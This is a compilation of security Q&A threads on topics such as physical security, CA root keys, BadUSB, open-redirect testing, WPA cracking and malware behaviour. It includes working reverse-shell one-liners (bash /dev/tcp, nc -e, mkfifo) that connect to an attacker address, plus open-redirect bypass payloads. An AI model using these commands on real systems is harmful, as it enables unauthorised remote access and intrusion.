Evidence of any large scale data breaches from lack of physical security? You see far-fetched Hollywood examples of the most unlikely scenario's resulting in a data breach due to a lack of physical security. An example is in  Mr Robot where the protagonist gets into a data warehouse and plants a rogue Raspberry Pi to destroy all the data.
While unlikely all the conditions that occurred would happen...they could. Due to that almost all security standards and frameworks have large sections on physical security policies.

I'm currently dealing with an argument where the risk is 1 in a million that the 4am milk lady who delivers without supervision to the fridges walks past the server closet that has been left open and decided to plug in a rogue device.

While yes its laughable it would happen...it could. More so I see the risk in 10 years time where the milk lady is replaced with someone more motivated and process has not changed. Both the server closet being open, and unsupervised guests to particular area's are large risks.

But to executives it just seems too movie-esque for the them to take it seriously. Is there any large corporation breaches due to a lapse in physical security that could be used as supporting evidence to justify the case for improvement?

Such breaches are topics for security breach engineering (through human being weakness, mechanical breach). No organization is willing to risk their reputation to show their blunders.

All you can do is audit possible scenario and implement correspondence policy.

Take the milk ladies as an example, a camera and double access door, plus a 10 seconds door open alert alarm will prevent breach due to physical entrance breach by negligence.

It is possible to implement similar control for important facilities like CDC (central of disease control), but not all enterprise has the resources to implement such control.  So some level of damage control must also be implemented to confined possible breach.


Referer value reflected in location response? I found a login form on a website that redirects you regardless if the insert credentials are correct or wrong (302 redirect). I noticed that the value of the header Referer: is sent to header Location: in response. So  for example, if Referer is set to https://www.google.com you will be redirected to https://www.google.com. Is it possible to set an arbitrary Referer value via CSRF and redirect other users?

Reference (borrowed from the answer to the linked question):

https://cheatsheetseries.owasp.org/cheatsheets/Cross-site_Request_Forgery_Prevention_Cheat_Sheet.html

(emphasis mine)

Verifying origin with standard headers
This defense technique is specifically proposed in section 5.0 of Robust Defenses for Cross-Site Request Forgery. This paper proposes the first creation of the Origin header and its use as a CSRF defense mechanism.
There are two steps to this mitigation, both of which rely on examining an HTTP request header value.

Determining the origin the request is coming from (source origin). Can be done via Origin and/or referer header.

Determining the origin the request is going to (target origin).

At server side we verify if both of them match. If they do, we accept the request as legitimate (meaning it's the same origin request) and if they don't, we discard the request (meaning that the request originated from cross-domain). Reliability on these headers comes from the fact that they cannot be altered programmatically (using JavaScript in an XSS) as they fall under forbidden headers list (i.e., only browsers can set them).


Broadcast encryption protocol for file sharing service (a-la Dropbox) I'm building a prototype of a (rather simple) Dropbox-type file sharing service, where users can upload & share file(s) with other user(s).

But here's a feature request:

I want file(s) to be stored on the server in encrypted form, and
I do not want to store any keys on the server. (i.e. I don't want to give the service's maintainer the ability to access user's data.)
I don't want to force users to use 2nd (decryption?) password(s) for shared files.

Is there any cryptographic protocol that fits this task?

My previous read is:

Pattern to allow multiple persons to decrypt a document, without sharing the encryption key?

but access right revocation seems pretty complex in this case.

Broadcast/multicast encryption, maybe? I just don't know where to dig.

First let me say that this is essentially a restatement of the answer linked in your question.

I suggest that you use symmetric key encryption to guard files and asymmetric (public) key encryption to guard the symmetric encryption keys.  You could use an existing PGP/GPG key pair, or, to make this transparent, generate a key pair explicitly for your application.  If you do the latter, please use tried and tested code to generate the keys.

You stated a requirement that no keys be stored on the server because " I don't want to give the service's maintainer the ability to access user's data."  As long as keys stored on the server are encrypted, the service's maintainer has no access to the data, so I've interpreted "no keys on the server" as "no keys which would allow access to the data."

The process works like this:  When a file is uploaded, it must be encrypted (by an app on the sender's client) using a symmetric algorithm like AES and a randomly-generated key.  The key must be generated by a cryptographically secure random number generator (CSPRNG)

The encrypted file is uploaded to the server.  The symmetric key, encrypted with the sender's public key is uploaded as file metadata, associated with the sender's ID.  If a file is uploaded by a user with the ID alice@example.com, the metadata would look like:

alice@example.com | encrypted (with KA) symmetric key

At this point, only Alice can read the file because only Alice has the private key that will decrypt the  file's encrypted symmetric key.  (The application must have discarded the unencrypted copy of the symmetric key soon after the metadata were updated.)

If Alice wants to allow bill@elsewhere.com to retrieve the file, she adds to the metadata a line like this:

bill@elsewhere.com | encrypted (with KB) symmetric key

Alice does that by retrieving her own metadata, decrypting the symmetric key with her private key, and re-encrypting with Bill's public key.

Assuming the metadata file itself is unprotected, Bill can pass access to Charlie by performing the same kind of operation.  That is not only OK, it is good.  Bill can obviously download the file and give a copy to whomever he pleases.  If access is passed through the file's metadata, then there's a record of what happened.  (Bill can still pass the file to others, but is no longer forced to take that route.)

Because of your requirement that only one password be used, you'll need to use the password that unlocks the private key as a login password.  One way to do that might be to store on the server an authenticator for each user, encrypted with the user's public key.  Only a user with the corresponding private key can decrypt it and return the plain-text authenticator to the server.

Everything up to the login involves end-to-end encryption, and so everything passing "over the wire" is encrypted.  For the login authentication, the client must return the plain text authenticator, and that means a TLS connection is needed.


How to detect if files were saved or copied to a USB drive? How can I find out if files from my computer were written/copied/moved to a USB storage device? I want to know if there is a solution that would work in a system that has not got any monitoring/logging of USB activity explicitly enabled and after the files have already been written.

I have already used software which would reads the information from registry location

  HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR

But it just tells the vendor name, time connected and other artifacts.

This will depend entirely on what logging you have enabled. It it's easy after the event to tell you to log all file copies etc, but if you weren't logging it, you won't be able to retrieve that info.


What's the value of data partition encryption for database files on a postgres database server? We're in the process of rolling out a postgres based web app, and I'm trying to understand the value of encrypting the entire database. In postgres's case, the only way to do this is store the database files on an encrypted partition, as documented here http://www.postgresql.org/docs/8.1/static/encryption-options.html.

As far as I can tell, this is only useful if someone get's a hold of our harddrive while the server is not running. Even then, since we have to have a password to mount that partition, it's not that valuable because presumably that password has to be on the host somewhere, or get manually entered after each boot.

Is there some sort of additional attack vector I'm missing that this defends against? Or is the notion of encrypting a database like this mostly security theater?

First off, there are ways to mount encrypted partitions without having to enter the passphrase manually or storing it on the system that is being protected. Look at Mandos for one example of this; it's basically a client/server application that stores the key to unlock the encrypted container separate from the container itself. An attacker would at the very least need to gain access to the content of both systems in order to be able to circumvent the security. An alternative to this might be something like the YubiHSM or even just a low-tech solution of a few thumb drives attached to the key rings of trusted employees. This renders your issue about having to enter the passphrase on boot or storing it on the system itself largely moot.

Second, full-disk (or even just whole-partition) encryption allows for efficient and reasonably reliable destruction of data: with any half-way competent crypto, if you throw away the keys, then the data becomes inaccessible. This can be important if you are decomissioning a hard drive that won't respond normally to host commands. It also means you don't need to worry at all about drive-level relocation of sectors in terms of data remanence (and can likely dismiss that issue entirely).

That said, obviously while the system is running the encrypted file system needs to be fully accessible, so there are many attack vectors that full-disk encryption does not at all protect against. It does, however, add an additional layer of difficulty for someone who wants to attack the data at rest, at potentially marginal cost to the defender. For many situations, especially if you can handle the key management problem, such a trade-off can make sense.


Are smart plugs safe? (Xiaomi in particular) Are smart plugs safe, Xiaomi ones in particular (Zigbee and WI-FI versions)?
My main concern is that the plug is connected to Mi account and allows remote management. In case  hacker gains access, can he reboot it dozens of times per second, so that would lead to spark, shortage and ultimately cause fire?
Should I be concerned about physical safety buying such devices?

Consumer grade IoT Devices are not known for their security, so from the perspective of "Can it be hacked" ... I would say most likely.  From a brif overview of what it is and how it works, it sounds like it could easily be subject to a man-in-the-middle attack.
In terms of the "reboot it dozens of times per second, so that would lead to spark, shortage and ultimately cause fire" ... this would be a question for https://electronics.stackexchange.com although it most likely can be determined by looking at its UL Certification.


How do certification authorities store their private root keys? Knowledge of a CA private key would allow MitM attackers to transparently supplant any certificates signed by that private key. It would also allow cyber criminals to start forging their own trusted certificates and selling them on the black market.

Given the huge profits that could be made with such knowledge, and the fact that a highly trusted and ubiquitous certificate (such as any of the main Verisign keys) would be a very difficult thing to revoke quickly, it stands to reason that there would be highly motivated and well funded criminal elements attempting to get their hands on such keys on a regular basis.

How do certification authorities deal with this threat? It sounds like a real nightmare, having to ring-fence the keys away from all human eyes, even the sysadmins. All the while the keys have to be used on a daily basis, often by internet-connected signing services.

Serious certification authorities use heavy procedures. At the core, the CA key will be stored in a Hardware Security Module; but that's only part of the thing. The CA itself must be physically protected, which includes proactive and retrospective measures.

Proactive measures are about preventing attacks from succeeding. For instance, the CA will be stored in a vault, with steel doors and guards. The machines themselves are locked, with several padlocks, and nobody holds more than one padlock key. Physical security is of paramount importance; the HSM is only the deepest layer.

Retrospective measures are about recovering after an incident. The HSM will log all signatures. The machine is under 24/7 video surveillance, with off-site recording. These measures are about knowing what has happened (if you prefer, knowing a priori that, should a problem occur, we will be able to analyze it a posteriori). For instance, if "illegal" certificates have been emitted but the complete list of such certificates can be rebuilt, then recovery is as "easy" as revoking the offending certificates.

For extra recovery, the CA is often split into a long-lived root CA which is kept offline, and a short-lived intermediate CA. Both machines are in the cage and bunker; the root CA is never connected to a network. The root CA is physically accessed, with dual control (at least two people together, and video recording) on a regular basis, to emit the certificate for the intermediate CA, and the CRL. This allows revoking an intermediate CA if it got thoroughly hacked (to the point that its private key was stolen, or the list of fraudulently emitted certificates cannot be rebuilt).

Initial setup of a serious root CA involves a Key Ceremony with herds of auditors with prying eyes, and a formalism which would not have been scorned by a Chinese Emperor from the Song dynasty. No amount of auditing can guarantee the absence of vulnerabilities; however, that kind of ceremony can be used to know what was done, to show that security issues have been thought about, and, come what may, to identify the culprit if trouble arises. I have been involved in several such ceremonies; they really are a big "security theater" but have merits beyond the mere display of activities: they force people to have written procedures for everything.

The question is now: are existing CA really serious, in the way described above ? In my experience, they mostly are. If the CA has anything to do with VISA or MasterCard, then you can be sure that HSM, steel and ill-tempered pitbulls are part of the installation; VISA and MasterCard are about money and take it very seriously.

For the CA which are included in Web browsers and operating systems, the browser or OS vendor tends to require a lot of insurance. There again, this is about money; but the insurance company will then require all the physical measures and accounting and auditing. Formally, this will use certifications like WebTrust.

This is true even for infamous CA like DigiNotar or Comodo: note that while they got hacked and fake certificates were issued, the said certificates are known and were revoked (and Microsoft added them to a list of "forbidden certificates" which can be seen as a kind of "revoked, and we really mean it" -- software must go out of his way to accept them nonetheless).

The "weak" CA are mostly the State-controlled root CA. Microsoft can refuse to include a root key from a private venture, if Microsoft feels that enough insurance has not been provided (they want to be sure that the CA is financially robust, so that operations can be maintained); I know of a bank with millions of customers who tried to get their root key included in Windows, and were dismissed on the basis that they were "too small". However, Microsoft is much weaker against official CA from sovereign states; if they want to do business in country X, they cannot really afford to reject the root CA key from government X. Unfortunately, not all governments are "serious" when it comes to protecting their CA keys...


Why is a child window allowed to change the location of its parent? Maybe a silly question. When opening a new tab via target="_blank", the page that loads in that tab is allowed to set a new location in the parent tab using:

window.opener.location.replace('http://www.google.com');

Does this not violate the Same-Origin Policy? I could easily point that redirect to a malicious site that looks exactly like the original one.

I do not think that this violates the Same-Origin Policy, because the child tab is not able to access the data in the parent tab or modify it's content.
This was probable designed like this in order to allow the web developers to offer a better user experience when dealing with multiple windows.
On the other side, this is definitely something a web developer should be aware of and only use target="_blank" when this specific functionality is required.
It is easy to protect against this kind of attacks and most big websites (google.com, twitter.com, etc) do this by opening links in new tabs with the window.opener property set to null.
This has been reported as a bug to the Chromium team, but it was marked as WontFix because it was not considered to be a bug:

The user decides to trust a particular tab by inspecting the URL and determining the origin.  In all cases here both tabs area always showing the correct origin for the content being shown.
On android, when entering any data into a form, the origin is always shown, even if it's previously been elided by scrolling down.  The user can then make a trust decision based on this visible origin.
Given this, I don't see any risk to users more than the users just clicking on a link and visiting a new page, so I am closing with WontFix.

Link


Why don't OSes protect against untrusted USB keyboards? Lately I've been reading about things like BadUSB and RubberDucky which are essentially USB sticks that tell the computer they are a keyboard. Once they are plugged in they "type in" whatever commands they were told to execute. My question is, why are keyboards automatically trusted in almost every OS? For example, if an OS detects a new keyboard plugged in, why not pop up a password prompt and disallow that keyboard from doing anything until it enters the password? It doesn't seem like this would create a ton of usability issues. Is there a reason why this or another protection measure isn't used?

The trust model for a device you plug in to your computer is just inherently difficult.  The USB standard was created to allow literally anyone to create a USB device.  Security wasn't a factor.  Even if it was, where do you place the trust?  The movie industry tried this model with HDMI, and it's essentially failed miserably.  You can't simultaneously give someone a device that does something, and prevent them from understanding how to do the same thing.

Your example proposes to put the trust in the user.  The most obvious problem is nobody wants to type in passwords just to use a keyboard.  Barring that, would it really solve anything?

The user already trusts the device, otherwise they wouldn't be plugging it into their computer.  Since trust has already been established, why wouldn't they simply do whatever is required to get it to work?


How do I upgrade the encryption on my IIS-exported pfx file? Having found out what encryption algorithm was used to encrypt my pfx file, using openssl, I now want to upgrade the pfx file to use the most secure algorithms available, rather than 40-bit rc2. How can I do this?

Openssl can also be used to upgrade the encryption, by creating a new pfx file with the same certificate and private key, but seems to require a multi-step process

First read the pfx file and export it as a pem file:

openssl pkcs12 -in badcert.pfx -passin pass:SECRETPASSWORD -nodes -out temp.pem

Second read the pem file and export it as a pfx file with upgraded encryption. I included the -macalg sha256 option here, though I can't prove that it is doing anything:

openssl pkcs12 -export -in temp.pem -out goodcert.pfx -descert -passout pass:SECRETPASSWORD -macalg sha256

Verify that the new pfx file has good (or at least better) encryption:

openssl pkcs12 -info -in goodcert.pfx -noout -passin pass:SECRETPASSWORD

Delete the old files:

rm temp.pem
rm badcert.pfx

Note that although openssl reports password-based encryption with SHA-1, it is actually the PBKDF2 variant of iterated SHA-1, per RFC7292, so this is not a weakness.


Implications of using DNS Forwarders instead of Root Hints When redesigning an organizations DNS infrastructure, the question of using Forwarders instead of Root Hints comes up. What kinds of issues should I be aware of when the admins and designers start asking for my input? Are there any particular gotchas that I need to make sure they address?

It's an interesting question and one I've been looking at recently too.

I've opted for adding delegation in the internal root zone rather than using forwarders. It simplifies configuration on the DNS servers as they all look at the root zone, but forwarders must be manually configured on each DNS server.

I would only use forwarders if you need to direct queries for a zone to IP addresses that are different from those in the root (i.e. when communicating to/from a DMZ).

Having proper delegation also allows you to run commands like dig +trace to debug issues. I don't think you can do this with only forward zones.


How do i extract data from response and use it in url for next request in Burp Intruder? The URL is https://www.example.com/send?session=abcabcabc.

When the above URL is requested, a response comes with <a> tag which contains a new URL with a different session value like https://www.example.com/send?session=xyzxyzxyz.

As you can notice, the session value has changed and it changed on each request.

So my question is how can I use Burp intruder to do a repeated request?

The workflow should be:

Burp > request sent > gets response > take URL or session value from response > send request with updated session value in URL > loop continues.

You need to create a Burp Macro followed by a Session Handling Rule within Project Options tab.

  The following URL provides the detailed description of how to achieve this:

  https://support.portswigger.net/customer/portal/articles/2906338-using-burp-s-session-handling-rules-with-anti-csrf-tokens

The Title of the topic on the website says "Using Burp's Session Handling Rules with anti-CSRF Tokens", however it does exactly what you're trying to achieve here.


What exactly was "'dotty' and 'dashy'" Morse code? During early World War I (1914–1916), Germany briefly experimented
  with 'dotty' and 'dashy' Morse, in essence adding a dot or a dash at
  the end of each Morse symbol. Each one was quickly broken by Allied
  SIGINT, and standard Morse was restored by Spring 1916.

Source: https://en.wikipedia.org/wiki/Morse_code#Unusual_variants

Emphasis mine.

That's all it says on that Wikipedia article. It makes no sense to me. It's implied that this was supposed to be some kind of encryption/cipher addition, but how is "adding a dot or a dash at the end of each Morse symbol" anything but "slightly incompatible" with the existing system? Something is not being told in that brief description.

Sure, it was ~1915, so they didn't exactly have advanced computers yet, but what's said above is at the level of what a child would come up with to "talk secretly" to their sibling without their parents understanding. Cryptography surely had existed as a concept (if only done with pen and paper, or with crude machines) for a long time by that time?

The aim of encryption is to produce a message that cannot be read as is. The old Cesar cipher was a simple alphabet shift. We now find it trivial, but when you see a bunch of characters with no evident meaning, you can suppose that a real message is hidden but without knowing the algorithm deciphering it is not a trivial task.

The rationale behind dotty or dashy is that the enemy will see a sequence of dots and dashes which has no direct meaning because is looks like incorrect Morse code, especially if you do not add any space between characters. But it is too simple to resist for a long time to an experience cryptanalist, even without the help of a computer.

On an historical point of view, AFAIK, the older code is probably Cesar's cipher that was indeed used by the Roman emperor, and which was later improved with Vegenere's code for which the shift varied according to the letters of a word (the key) instead of being a constant.

Both can be easily used without any machine.

A rather strong code that existed for a long time and requires no computing is the use of a full book as a key: the sender searches the words they want to send in the book, and replaces them with the triplet (page number, line number, word position in the line). If the message is short enough and the book long enough, it is possible to use different triplets if a word is repeated which hardly hardens the code. But it is hard to use in an operational point of view because if you want to use an uncommon word, it could not be present in the book...


What are the pros and cons of a VPN for privacy Recently I have been getting more and more interested in the security (privacy and anonymity) issues of my online life. Not that I have anything to hide, or that what I do online is so interesting to others, but I just want to know what I can do to remain as safe (and anonymous) as possible.

I feel it is my right as a citizen of a free, democratic, society to be anonymous when I want to be. Not because I want to do anything illegal, but because I feel my privacy is being violated by big companies like google, facebook and even by my own government.

So that is why I have been looking into methods of ensuring my online anonymity (and therefore freedom). The best method I have found so far (as a noob in online anonymity) is a VPN (as opposed to tor, which is too slow for my day to day surfing needs). They offer a multihop VPN, use OpenVPN, aren't terribly expensive, don't log data and provide anonymous methods of payment.

My question is: is a VPN a good method for ensuring my online anonymity? More specifically:

How do I know if I can trust them?
What are the risks of using a VPN service?
Would transferring my online activity to servers abroad mean I am
subject to the laws of those other countries, or would I still only be subject to the laws of my own country?
Can I relay my (imap and smtp) email traffic through them?
Can I use the service combined with Tor and Tails for extra security, or is that not
possible (or useful)?

I hope the questions are clear enough, and to be perfectly clear about my intentions: I am not a hacker looking to cover up my tracks or anything. I wouldn't even know how to hack something if the password were written on my forehead: I am just a person concerned with my online freedom, see also: reasons for anonymity

I have to say that in my opinion, VPN is very overrated in terms of privacy.

It's meant to tunnel your private data over an insecure medium, so provide confidentiality from your VPN client to your VPN server, and only between these points. The way from your application to your VPN client and the whole way from your VPN server to your wanted destionation does not include that! And it does not mean your destination won't know you're using VPN!

If you're an employee and need to do work in your companies network, fine, thats the purpose of VPN, but otherwise you have to distinguish your enemy:
Do you just want that one website you're visting to not know where you are? Maybe VPN is still ok.
Do you not want your authorities to know that, too? Hell don't even think about using VPN.
Your VPN provider will give out anything, and thats all you wanted to hide. He won't risk his business for you! No, even not if your providers country is different from yours. International "crime"-fighting is more organized than ever. And yes, downloading that one music title you'd never buy for money counts as "crime".

But you asked what you CAN do for privacy. There is something still exploitable to gain what you're seeking. Up to, I'd say 99% safety:

Prepaid mobile internet, it's cheap nowadays, and you can buy the SIM-card, the connector for your computer and the credit with the last anonymous payment method: Cash!
Of course you have to keep some important things in mind as to secure your computer (especially to not disclose information), just use it in crowded places, etc.

But as anything in security, the whole system is just as weak as the weakest member: One login with a real identity, one prepaid credit paid with your card, and you're (theoretically, but don't hope for something better) back to your current situation.


Blackbox URL matching mechanism bypass for an open redirect I'm currently testing a web application, which appears to have an open redirect vulnerability, since they receive a parameter redirect_url via GET. The application redirects the user to this URL later on.
However, they do some fixed URLs they accept and respond with 400 for any other URL.

The URL the application expects looks like the following: https://subdomain.example.com/foo/bar.

I've tried to narrow down what exactly they are matching. The following attempts all failed, as the URL was not accepted.

Scheme: http://subdomain.example.com/foo/bar
Subdomain: https://foobar.example.com/foo/bar
Domain: https://subdomain.test.com/foo/bar
Directory 1: https://subdomain.example.com/bar/bar
Directory 2: https://subdomain.example.com/foo/foo

Furthermore I've tried to trick the application with a username in the URI: https://subdomain.example.com@test.com/foo/bar

All in all, this seems to be very well implemented.

Q: My question is, if there are other approaches on bypassing the URL matching mechanism, I haven't thought of.

EDIT:

With @Trickycm's suggestions I've tried the following approaches:

Directory traversal: https://subdomain.example.com/foo/bar/../../../../test
Directory traversal: https://subdomain.example.com/../../../../test/foo/bar
Various encodings (e.g. URL), altering scheme, subdomain, domain, directories with each
Null-Byte padding
SQL Injections
Extreme length URLs
Various character set URLs (e.g. Chinese, Russian, Indian)
Various combinations of the above

None of which were successful, this seems to be implemented in a very secure manner.

I would try the following:

directory traversal ../../foo/bar
different encodings, url etc
padding with null bytes and extra chars
general fuzzing, including extreme length, multiple char sets and encodings, sql fuzzing (in case it is pulling the valid redirs from a db)


Is there a way to check whether the application saves password in clear text or in hashed format? I have four kind of passwords and I use them according to the importance of the web application. So if I see an application not using SSL and I have to make an account, I will use a basic password which is used for all the non-sensitive applications.
Now, even if an application uses HTTPS, I am skeptical what if the passwords are stored in plain-text in database and someone can find those in a table. Say, somehow, the database got hacked and the attacker have all the passwords.
As my other three passwords are somehow a little related, I want to make sure that my important passwords are not shared with an application which saves passwords in plain text.

So is there a way to find about the password storing mechanism of an application?

No, there isn't if the application isn't open source.

The only sure  way to protect yourself is to use a different password for every website you use. You can use various password managers for that.

If you're interested in finding out whether a site stores plaintext passwords, try calling support and begging them to give you your password, which you've conveniently forgotten. If they give it to you, you know.

Assuming they store hashed passwords, that's still no guarantee that your password is sufficiently protected. An awful lot of sites seem to use unsalted hashes of questionable quality (md5, for example). Unsalted MD5 hashes can be brute forced with good recovery rates for simpler passwords, although long, uncommon/random passwords should still be safe.


How do viruses know if they have already infected a system or done something? I know some viruses repeat the same actions over and over again with no break, thus grinding the network to a halt. But others "take a break" from there repetitive actions.

For example Nimda performs it's mass mailing routine every 10 days. How does it know "10 days"? It can't create a file with the date it last done it, that would be a dead giveaway to AV's.

Another is the Sasser worm. It "Attempts to create a mutex named JumpallsNlsTillt and exits if the attempt fails. This ensures that no more than one instance of the worm can run on a computer at any time." Wouldn't this be a dead give away for AV's? What exactly is a mutex?

Nimda is using simple function. By taking number of seconds since the start of epoch, divides it by 60 seconds, 60 minutes, 24 hours and then by 10 and if modulo = 0, then it performs attack, as long as the modulo = 0, which happens every 10 days for a period of 24h.
http://www.calculatorpro.com/calculator/modulo-calculator/
10 mod 10 = 0, so by taking number of days since start of epoch you can run attack for 24h every 10d.

Process mutex is kind of lock which helps to manage the process in a way that it doesnt start once it's already running like this. This is very useful apparently.

https://stackoverflow.com/questions/93989/prevent-multiple-instances-of-a-given-app-in-net


Reverse shell refusing/difficulties to establish connection I've been trying to reverse shell between different devices, however,

  I'm never able to establish a connection or get a shell prompt

.

Let's say I have a Mac OSX as victim and use a raspberry Pi Kali Linux installation, then I would do the following:

Linux device: nc -nlvp 5555 -e /bin/bash
OSX device: bash -i >& /dev/tcp/IPaddressOfLinuxDevice/5555 0>&1

I've also tried between two linux devices with the following:
attacker: nc -nlvp 5555
victim: nc -nv IPaddressOfVictim 5555 -e /bin/bash

and I never have any luck getting the shell? What am I not doing correctly? thanks for taking your time to read and help in advance.

What is your networking setup between the two machines in each example? Are you able to send other traffic between them, such as ICMP? If so, do you have any firewall rules configured on either of the devices that might interfere? If you're confident that your network setup is correct, then I've left some comments about each example below.

I think your issue in the first example stems from trying to use the -e flag in nc. You stated that your attacking machine is the Linux device and your OSX machine is the victim. If that's the case, you don't need to use the -e flag on the Linux nc listener. If you do, that means that when you connect to the Linux machine on the port opened by nc, you'll get a shell spawned from the Linux machine, which doesn't seem to be what you want, since that's the attacking box.

I think what you actually want to do is something like this:

Linux box: nc -nlvp 5555

OSX victim: rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $IP_OF_ATTACKING_BOX 5555 >/tmp/f

On your nc listener on your attacking box, you should see a shell open. The reverse shell is created differently due to the nc version on OSX being the BSD version, which does not support the -e flag. I got the syntax from here:
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Your second example's syntax looks correct to me. EDIT: As @waymobetta correctly notes, you don't want to use the IP address of the victim on your second nc command; you should use the IP address of the attacking machine, which is what you want to connect back to. However, if you're still having issues, you can check the remaining suggestions below.

Is your networking setup here different than in the previous example? Can you open a port on one with nc and just connect to it using the other (without the shell)? For example, if you do:

Machine 1: nc -nlvp 1234

Machine 2: nc $IP_OF_MACHINE_1 1234

And then type some text in the terminal for Machine 2 and hit enter, do you see the text appear in the listening window for Machine 1? You should also see some output regarding the connection attempt in that window. If that doesn't work, then your issue might stem from the machines not being able to communicate properly at all.


Started seeing jQuery function calls in URL requests, what is this? I administer an E-commerce site, and recently I have been seeing odd URL requests containing jQuery function calls.  Here are some examples of the requested URLs that are being logged as 302 permanent redirects.

www.mydomain.com/).on(
www.mydomain.com/).removeClass(
www.mydomain.com/somepath/).on(

Note that we don't explicitly have any of these defined as redirects.

I did some research and found information on something called the Angler Exploit Kit. I can't find anything to indicate there is a problem with our server.  The IP addresses these requests originate from are overseas datacenters and server farms.

Could this be related to the Angler Exploit Kit? What do I, as an admin, need to know about Angler, and should I be concerned about these requests?

To give a broad, general answer, yes, you should be concerned with all requests sent by a user. Be suspicious of all user supplied information and validate everything appropriately.

This looks like a poor attempt at finding an XSS vulnerability. You should be worried if you have input fields that are poorly validated and filtered.

The tool that's being used to generate this traffic itself probably isn't worth worrying about.


Preventing resubmission and replay attack using client nonce in REST API I have a REST API backend which has HTTPS (and blocked HTTP) and use JWT as the authentication mechanism. The client side is iOS/Android app. I want to add  a layer of safeguard on critical API by using client nonce to prevent (mostly) resubmission (unintentionally calling the same API twice due to bad network/UI) and (maybe) replay attack. The current details are as follows.
(All REST calls are through HTTPS)

The client makes an API call using username and password to exchange for a JWT from server side.
The client uses the JWT obtained (HTTP header) and makes subsequent API call to the server.
The backend server checks the JWT and executes the request.

The current issue is, anyone who can intercept the HTTP package can replay the API call. Moreover, in the situation with a bad network, the client may press the submit/confirm button twice and resubmit the request.
What I propose is the following:

The client makes an API call using username and password to exchange for a JWT from server side.
The client uses the JWT obtained + a client-generated nonce and makes subsequent API call to the backend server.
The backend server checks the JWT first and then the nonce. Let's assume we have a k-v store with TTL like Redis.
If the nonce exists in Redis, we reject the request. If not, we accept the request and set the nonce in Redis with some predefined TTL (say 1hr?) so that a replay will be rejected.

I have to admit I have very little knowledge on security. I want to know if this proposal is legit? Or I miss something important? If my idea is ok, what is the best algorithm to generate the nonce? Does the server side need to somehow "decode" the nonce to see if it fits the protocol before comparing it against Redis?

A client-side nonce presents three difficulties:

how does the client know when to generate a new nonce? (What actions constitute a new request such that a new nonce should be generated for it?)
how does the server know what's a valid nonce? Can a hypothetical attacker-supplied 4gb blob be a nonce?
how does the server know how many nonces to keep and for how long?

A server-provided nonce provides two benefits:

less for the client to do
the server knows what to expect next

The server doesn't have to keep a record of all nonces, just the current one, and it can be deleted when the first valid request with it arrives. A new nonce can be sent with the response.

This model enforces a one-request-in-flight interaction model. Should there be a desire for multiple concurrent requests, the server can produce a block of nonces, but the challenge again is that client needs a model for differentiating between unique requests, ensuring that each user action doesn't result in pulling a new nonce from the local pool. This difficulty should suggest structuring the app in a way such that only one nonce-required request be in flight at a time.


Secure email hosting service for a law firm I am looking for an email hosting service for a small law firm (4-5 accounts).
What i am looking for is:

Possibility of sending password (or question/answer) encrypted message to a user outside of my hosting service
Two factor authentication
Possibility of using PGP encryption (not necessary)
Messages being stored encrypted on the servers

All services that i found either don't provide function of sending password encrypted messages(msgsafe.io) or are expensive (60$ per user per year(startmail, hushmail), or 288 euro per year for 5 users(proton mail).

You should be able to use PGP with standard Gmail. You can also set up 2FA. There are also plugins or Chrome extensions that help you enable it.


Packets contained no EAPOL data; unable to process this AP I'm trying to hack my own WiFi using aircrack but have had no success.
With aircrack I cannot achieve a successful handshake as the deauth doesn't seem to have any effect on my targeted devices. This is what it outputs:

root@RPI02:~# aircrack-ng -w password.lst *.cap
Opening WIFI_APPLE.cap-01.cap..
Read 180751 packets.

   #  BSSID              ESSID                     Encryption

   1  F1:2E:DG:F2:EE:0F  WIFI APPLE                WPA (0 handshake)

Choosing first network as target.

Opening WIFI_APPLE.cap-01.cap..
Read 180751 packets.

1 potential targets

**Packets contained no EAPOL data; unable to process this AP.**

What exactly means this line?

Packets contained no EAPOL data; unable to process this AP.

This error happens sometimes when you quit the Deauthentication Attack or make it short.
The solution is to wait until the message highlighted with red shows. It might take a lot of time.


What does it mean for Qbot to "target" certain banks? QBot is a banking trojan that's over 12 years old. Recently it received some updates as documented by F5 labs here: https://www.f5.com/labs/articles/threat-intelligence/qbot-banking-trojan-still-up-to-its-old-tricks
What I'm confused about is what they mean when they list the 40+ banks that it targets. They even include the URLs that are targeted, but nowhere in the report or other news articles can I find what it actually does with those URLs. Does it try to extract cookies for those pages? Does it only activate the keylogger when those pages are visited? Does it put capture overlays on those pages?

I've known this malware by the name of Qakbot, but even from the article you have linked:

This appears to be a dedicated campaign with a browser hijack, or
redirection, as the main attack method when the machine is infected.
As Qbot watches a victim’s web traffic, it looks for specific
financial services from which to harvest credentials.

Typically malware will either record keystrokes and/or inject itself into a browser process. From BleepingComputer's article:

Some of the techniques Qbot uses to steal sensitive information:
Keylogging – Qbot captures and sends every keystroke that the victim enters and uploads them to the attacker.
Credentials/cookies – Qbot searches for saved credentials/cookies from browsers and sends them to the attacker.
Hooking – the main payload injects to all the processes in the system with a code that hooks API calls and searches for financial/banking string the malware extracts the data, credentials, or session cookies from the process and uploads it to the attacker.

It probably does this with a user mode hook, so anything the OS handles internally is likely safe. Obviously the attackers can gain administrative privileges at some point, so that is subject to change.


How long does RSA encryption/decryption generally take? I am going to encrypt and decrypt a base64 that's an image. Now it needs to be fast. How fast does it take to encrypt and decrypt a file with RSA-OAEP for example?

And if it is too slow what is a faster (but still secure) alternative?

I don't think anyone will be able to give you an exact number, since we know neither:

What you're encrypting/decrypting
How big the file is
Your key size
Use case
Computer specifications
Other factors like language used etc.

All of the above will affect the speed of the process. This site provides some numbers that you can use to calculate how long it might take. It also lists other alternatives.

Operation | Milliseconds/Operation | Megacycles/Operation|

RSA 1024    Encryption                  0.08    0.14
RSA 1024    Decryption                  1.46    2.68


How does a company like CloudFlare block bot crawling and email harvesters? I saw this on CloudFlares homepage:

  CloudFlare protects against a range of threats: cross site scripting, SQL injection, comment spam, excessive bot crawling, email harvesters, and more.

How could a company like CloudFlare block crawler bots and email harvester? I asume they are smart enough not to use User-Agent: Evil-Email-Harvester. So how do you differentiate a bot like an email harvester from a normal user?

I guess you could see that it is some kind of bot because you get requests for multiple sites from the same IP. But that would also be the case for many legit IPs, like a VPN. How do you tell the good from the bad?

CloudFlare serves as a guard between your webserver and the client. Every content the client receives got provided by your webserver and filtered by CloudFlare. This way, CloudFlare obfuscates email addresses by filtering them using a regex before delivering it to the client.

If your website contains the email

s@scha.bz

